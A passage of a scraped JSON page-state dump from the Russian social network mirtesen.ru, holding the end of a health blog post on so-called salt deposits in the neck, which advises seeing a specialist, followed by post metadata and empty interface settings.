краях костей. Поэтому не стоит искать способ, чтобы «разбить соли» в области шеи. Лучше обратиться к специалисту, чтобы подобрать комплексное воздействие и приостановить возрастные изменения позвоночника.\x3c/p>\n\x3cp>\x3ca href=\"https://proartrit.ru/otlozhenie-soley-v-oblasti-shei/\" target=\"_blank\">Источник\x3c/a>\x3c/p>\n\x3c/div>\n\x3c/div>\n\x3c/div>\n\x3c/div>\n\x3c/div>\n\x3c/div>\n\x3cdiv>\n\x3cdiv>\n\x3cdiv data-index=\"2\"> \x3c/div>\n\x3c/div>\n\x3c/div>","comments_count":3,"marks_count":64,"likes":{"count":64,"user_likes":0,"can_like":0,"marks_pluses":64,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":63}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30669388060.mirtesen.ru/blog/43912897379","tags":["позвоночник","отложение солей","медицина и здоровье","шея","болезни","здоровье","спина"],"date":1515829357,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20659235010,"photo_original":"https://mtdata.ru/u18/photo3F10/20659235010-0/original.jpg","width":600,"height":449}}],"group":{"display_name":"ПолонСил.ру - социальная сеть здоровья","url":"https://s30669388060.mirtesen.ru","photo_original":"//mtdata.ru/u20/photo2B7E/20125696275-0/original.jpeg","id":30669388060,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1354869995507},"canonical_url":"https://s30669388060.mirtesen.ru/blog/43912897379","topic":"health","title":"Отложение солей в области шеи: причины появления, как лечить","preview_text":"Снижение подвижности в шее, хруст и неприятные ощущения при движениях, головокружение при поворотах головы, изменение осанки и появление характерного горбика на шее – все это нередкие жалобы лиц старше среднего возраста. Такие симптомы обычно приписывают отложению солей в области шеи. \nСтараясь","post_type":"post","formattedDates":{"iso":"2018-01-13T07:42:37.000Z","ver1":"13 января, 10:42","ver2":"13.01.2018 в 10:42","ver3":"13 янв., 10:42"},"images":[{"main":true,"url":"https://mtdata.ru/u18/photo3F10/20659235010-0/original.jpg","width":600,"height":449}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"отложение солей","tagId":80523943268,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"channelId":null,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}
